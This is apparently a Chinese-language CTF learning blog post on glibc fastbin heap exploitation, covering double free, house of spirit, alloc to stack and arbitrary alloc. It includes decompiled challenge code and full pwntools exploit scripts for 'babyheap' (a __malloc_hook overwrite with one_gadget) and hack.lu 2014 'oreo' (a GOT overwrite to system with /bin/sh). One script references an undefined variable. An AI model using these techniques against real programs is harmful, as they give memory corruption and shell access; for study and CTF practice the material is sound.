Fastbin Attack 原理:fastbin是单链表,当一个堆被释放到fastbin时,他会被插入到链表的头结点,但是不会释放size的p位,意思就是被释放了但是p仍然为1,这就对判断堆是否被释放带来了麻烦,而这一点就是我们要利用的漏洞
Fastbin Attack分为好几种攻击方式,下面来一一介绍
Fastbin Double Free 如其名就是一个fast大小的堆被释放了两次
能成功的原因主要还是上面的原理,一个是p不会被置0,一个是fastbins判断堆是否空闲的机制,他只会检查头结点的堆是不是和要释放的是一个堆,如果是那就错误,如果不是,那就判断他不是空闲堆,插入头结点。
1 2 3 4 5 6 malloc (1 );mall0c(2 ); free (1 );free (2 );free (1 );
上面伪代码把1释放了两次,但是程序并不会报错,因为当第二次释放1时,他会检查要释放到的链表的头结点是不是1,此时头结点是2,不是1,那就判断1不是空闲堆,那就释放。
最后的链表结构
那free两次后能干啥呢,按我的理解就是让多个指针指向了同一个堆,可以实现就算堆是空闲也能写入数据(如果存在ufa就不用这个麻烦了),最主要就是能覆盖fd了。能覆盖fd就能实现向任意地址申请堆了。
下面是例题
这道例题是我刚开始学pwn的时候做的,以前觉得这道题好难啊,现在看来好像没那么难理解了,这段时间的学习果然有用啊😁😁
下面是伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 v4; v4 = sub_B70(a1, a2, a3); while ( 1 ) { sub_CF4(); switch ( sub_138C() ) { case 1LL : sub_D48(v4); break ; case 2LL : sub_E7F(v4); break ; case 3LL : sub_F50(v4); break ; case 4LL : sub_1051(v4); break ; case 5LL : return 0LL ; default : continue ; } } void __fastcall sub_D48 (__int64 a1) { int i; int v2; void *v3; for ( i = 0 ; i <= 15 ; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf ("Size: " ); v2 = sub_138C(); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096 ; v3 = calloc (v2, 1uLL ); if ( !v3 ) exit (-1 ); *(_DWORD *)(24LL * i + a1) = 1 ; *(_QWORD *)(a1 + 24LL * i + 8 ) = v2; *(_QWORD *)(a1 + 24LL * i + 16 ) = v3; printf ("Allocate Index %d\n" , (unsigned int )i); } return ; } } } __int64 __fastcall sub_E7F (__int64 a1) { __int64 result; int v2; int v3; printf ("Index: " ); result = sub_138C(); v2 = result; if ( (int )result >= 0 && (int )result <= 15 ) { result = *(unsigned int *)(24LL * (int )result + a1); if ( (_DWORD)result == 1 ) { printf ("Size: " ); result = sub_138C(); v3 = result; if ( (int )result > 0 ) { printf ("Content: " ); result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16 ), v3); } } } return result; } __int64 __fastcall sub_F50 (__int64 a1) { __int64 result; int v2; printf ("Index: " ); result = sub_138C(); v2 = result; if ( (int )result >= 0 && (int )result <= 15 ) { result = *(unsigned int *)(24LL * (int )result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0 ; *(_QWORD *)(24LL * v2 + a1 + 8 ) = 0LL ; free (*(void **)(24LL * v2 + a1 + 16 )); result = 24LL * v2 + a1; *(_QWORD *)(result + 16 ) = 0LL ; } } return result; } int __fastcall sub_1051 (__int64 a1) { int result; int v2; printf ("Index: " ); result = sub_138C(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts ("Content: " ); sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16 ), *(_QWORD *)(24LL * v2 + a1 + 8 )); result = puts (byte_14F1); } } return result; } puts ("1. Allocate" ); puts ("2. Fill" ); puts ("3. Free" ); puts ("4. Dump" ); puts ("5. Exit" ); return printf ("Command: " );
通过输出就可以知道这个程序的大致功能了,通过free可知没有ufa了。
漏洞利用思路:
1.暴露libc基地址,如果unsorted bin只有一个堆时,那这个堆的fd和bk都储存着main_arena+88地址,我们可以知道main_arena的偏移量,那就能知道libc基地址了。
2.设置malloc_hook出的值为one_gadget,这是因为每次malloc的时候他都会检查malloc_hook处的值,如果为空那继续执行malloc,如果是一个地址的话,那就跳到这个地址处执行这里面的代码。
因为没有ufa,所以得制造多个指针指向unsorted chunk才能在被释放时读到fd.就我目前知道的方式有两种,一种是double free(没必要),一个是堆溢出直接改fd就行了,注意malloc分配bins上的堆时会检查申请的堆大小和要分配的堆大小是否相等,如果相等才可以分配。
然后就是把堆分配到maolloc_hook附近,这个比较简单,主要是注意构造size,J就是在malloc_hook附近选择合适的size来fake chunk,不然不能通过分配。
下面是payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *context(log_level='debug' ) DEBUG = 1 if DEBUG: p = process('./babyheap' ) libc = ELF('./libc.so.6' ) else : p = remote() def alloc (size ): p.recvuntil('Command:' ) p.sendline('1' ) p.recvuntil('Size:' ) p.sendline(str (size)) def fill (index, size, content ): p.recvuntil('Command:' ) p.sendline('2' ) p.recvuntil('Index:' ) p.sendline(str (index)) p.recvuntil('Size:' ) p.sendline(str (size)) p.recvuntil('Content:' ) p.send(content) def free (index ): p.recvuntil('Command:' ) p.sendline('3' ) p.recvuntil('Index:' ) p.sendline(str (index)) def dump (index ): p.recvuntil('Command:' ) p.sendline('4' ) p.recvuntil('Index:' ) p.sendline(str (index)) p.recvuntil('Content: \n' ) return p.recvline()[:-1 ] def leak (): alloc(0x60 ) alloc(0x40 ) fill(0 , 0x60 + 0x10 , 'a' * 0x60 + p64(0 ) + p64(0x71 )) alloc(0x100 ) fill(2 , 0x20 , 'c' * 0x10 + p64(0 ) + p64(0x71 )) free(1 ) alloc(0x60 ) fill(1 , 0x40 + 0x10 , 'b' * 0x40 + p64(0 ) + p64(0x111 )) alloc(0x50 ) free(2 ) leaked = u64(dump(1 )[-8 :]) return leaked - 0x3c4b78 def fastbin_attack (libc_base ): malloc_hook = libc.symbols['__malloc_hook' ] + libc_base execve_addr = 0x4526a + libc_base log.info("malloc_hook @" + hex (malloc_hook)) log.info("system_addr @" + hex (system_addr)) gdb.attach(p) free(1 ) payload = 'a' * 0x60 + p64(0 ) + p64(0x71 ) + p64(malloc_hook - 27 - 0x8 ) + p64(0 ) fill(0 , 0x60 + 0x10 + 0x10 , payload) alloc(0x60 ) alloc(0x60 ) payload = p8(0 ) * 3 payload += p64(0 ) * 2 payload = p64(execve_addr) fill(2 , len (payload), payload) alloc(0x20 ) def main (): libc_base = leak() log.info("get libc_base:" + hex (libc_base)) fastbin_attack(libc_base) p.interactive() if __name__ == "__main__" : main()
house_of_spirit 不曾设想的道路
double free的利用方式是修改fd指向fake_chunk,这个house_of_spirit是先伪造fake chunk,然后让一个指针指向这个堆,假设这个指针为a,然后free(a),fake_chunk就进入了bin了,然后再申请fake_chunk大小的堆就申请到了fake_chunk,然后就可以往这个堆里写入数据。
但这个利用方式也有限制条件
fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ
(64位是8字节,32位是4字节),同时也不能大于av->system_mem
(没查到)。
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
最主要的就是next_chunk->size的绕过。
可以通过how2heap体会利用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int main(){ fprintf(stderr, "This file demonstrates the house of spirit attack.\n" ); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n" ); malloc(1 ); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n" ); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10 ) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10 ] __attribute__ ((aligned (16 ))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n" , sizeof(fake_chunks), &fake_chunks[1 ], &fake_chunks[9 ]); fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n" ); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n" ); fake_chunks[1 ] = 0x40 ; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n" ); // fake_chunks[9 ] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9 ] = 0x1234 ; // nextsize fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n" , &fake_chunks[1 ]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n" ); a = &fake_chunks[2 ]; fprintf(stderr, "Freeing the overwritten pointer.\n" ); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n" , &fake_chunks[1 ], &fake_chunks[2 ]); fprintf(stderr, "malloc(0x30): %p\n" , malloc(0x30 ));
Alloc to Stack 原理也是利用fastbins attack,不过利用的思路不一样,大概思路就是在栈上布置fake_chunk,然后修改fastbin上的fd指向这个fake_chunk,这样就在栈上申请了一个堆,就能往栈上写入数据或者读取数据了,比如覆盖个返回地址啥的,但个人感觉这个思路的约束条件挺多的,得知道栈上的地址,得有合适的size(自己构造的或者栈上本来就有的),得可以控制fastbin的链表。不够普遍,只适合适合他的题。
下面的代码大概复现了思路。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; int main (void ) { CHUNK stack_chunk; void *chunk1; void *chunk_a; stack_chunk.size=0x21 ; chunk1=malloc (0x10 ); free (chunk1); *(long long *)chunk1=&stack_chunk; malloc (0x10 ); chunk_a=malloc (0x10 ); return 0 ; }
Arbitrary Alloc 这个和上面那个一样,就是伪造的chunk范围更广,只要有适合的size和地址,就可以fake_chunk,注意fake_chunk的地址可以是错位的,只要第二个八字节size能通过验证就行。比如分配到mall0c_hook地址附近。
2014 hack.lu oreo例题 伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 unsigned int sub_804898D () { unsigned int v1; v1 = __readgsdword(0x14 u); puts ("What would you like to do?\n" ); printf ("%u. Add new rifle\n" , 1 ); printf ("%u. Show added rifles\n" , 2 ); printf ("%u. Order selected rifles\n" , 3 ); printf ("%u. Leave a Message with your Order\n" , 4 ); printf ("%u. Show current stats\n" , 5 ); printf ("%u. Exit!\n" , 6 ); while ( 1 ) { switch ( sub_8048896() ) { case 1 : sub_8048644(); break ; case 2 : sub_8048729(); break ; case 3 : sub_8048810(); break ; case 4 : sub_80487B4(); break ; case 5 : sub_8048906(); break ; case 6 : return __readgsdword(0x14 u) ^ v1; default : continue ; } } }
因为不认识英文单词,所以得不到文字提示,得仔细审计才看懂了代码,简而言之,1就是增加分配一个堆,然后堆的最后四位储存上一个堆的地址,这里可以进行覆盖。2是输出堆的信息,这里可以输出刚才输入的信息,只要在输入时填入got表,就能输出获得基地址,3是free函数,可以把malloc到的堆看成一个链表,3能释放一整个链表的堆,而且下一个堆的地址是可以控制的,也就是可以控制任意堆进行free,在地址处填入fake_chunk的地址,就可以把fake_chunk给free掉。4是一个输入函数,可以往指定bss段的0x804A2A8写入数据。而这个地址空间里储存着一个地址0x804A2c0,是往0x804A2c0中写入数据。
总结:功能很多,漏洞主要是堆溢出,可以更改堆地址,导致可以fake_chunk到fastbin上,能够布置堆的地方也只有bss段,刚开始我随便注意了chunk,能够malloc回来,但发现没啥用,只有像官方wp一样布置堆到0x804A2A8才行,主要是因为这个函数,他可以向0x804A2A8中写入数据,把堆申请到这以后让0x804A2A8储存某个函数的got表,就可以更改含食宿地址了。
1 2 3 4 5 6 7 8 9 10 unsigned int sub_80487B4 () { unsigned int v1; v1 = __readgsdword(0x14 u); printf ("Enter any notice you'd like to submit with your order: " ); fgets(dword_804A2A8, 128 , stdin ); sub_80485EC(dword_804A2A8); return __readgsdword(0x14 u) ^ v1; }
这是最后的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from os import systemfrom pwn import *context.log_level='debug' sh=process('./oreo' ) libc=ELF('/lib/i386-linux-gnu/libc.so.6' ) elf=ELF('./oreo' ) puts_got=elf.got['puts' ] def alloc (name,content ): sh.sendline('1' ) sh.sendline(name) sh.sendline(content) def enter (content ): sh.sendline('4' ) sh.sendline(content) def delete (): sh.sendline('3' ) def show (): sh.sendline('2' ) name='a' *27 +p32(puts_got) alloc(name,'aaa' ) show() sh.recvuntil('Description: aaa' ) sh.recvuntil('Description: ' ) puts_addr=u32(sh.recv(4 )) libc_base=puts_addr - libc.symbols['puts' ] system=libc_base+libc.symbols['system' ] print hex (system)for i in range (1 ,0x40 ): alloc('a' ,'a' ) name='a' *27 +p32(0x0804A2A8 ) alloc(name,'aaa' ) payload='a' *(0x38 -0x18 -0x4 )+p32(0 )+p32(0 )+p32(0x100 ) enter(payload) delete() alloc('a' ,p32(elf.got['strlen' ])) enter(p32(system)+';/bin/sh\x00' ) sh.interactive()
思考:
1.把fake_chunk给free到fastbins上利用了house_of_spirit技术,这个利用思路是有约束条件的,一个是size必须是2 * SIZE_SZ整数倍,fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ
(64位是8字节,32位是4字节),同时也不能大于av->system_mem
。
2.如果能fake chunk的话,要思考自己fake到哪个位置才有用,就像我这次虽然能fake,但是fake完发现根本没法利用,那什么才是有用的呢,就我目前来看,如果程序里能往某个变量了写入或者输出数据,那就可以考虑在fake chunk时覆盖这个变量,然后把变量处覆盖成任意地址,就可以完成任意地址写入或者输出了。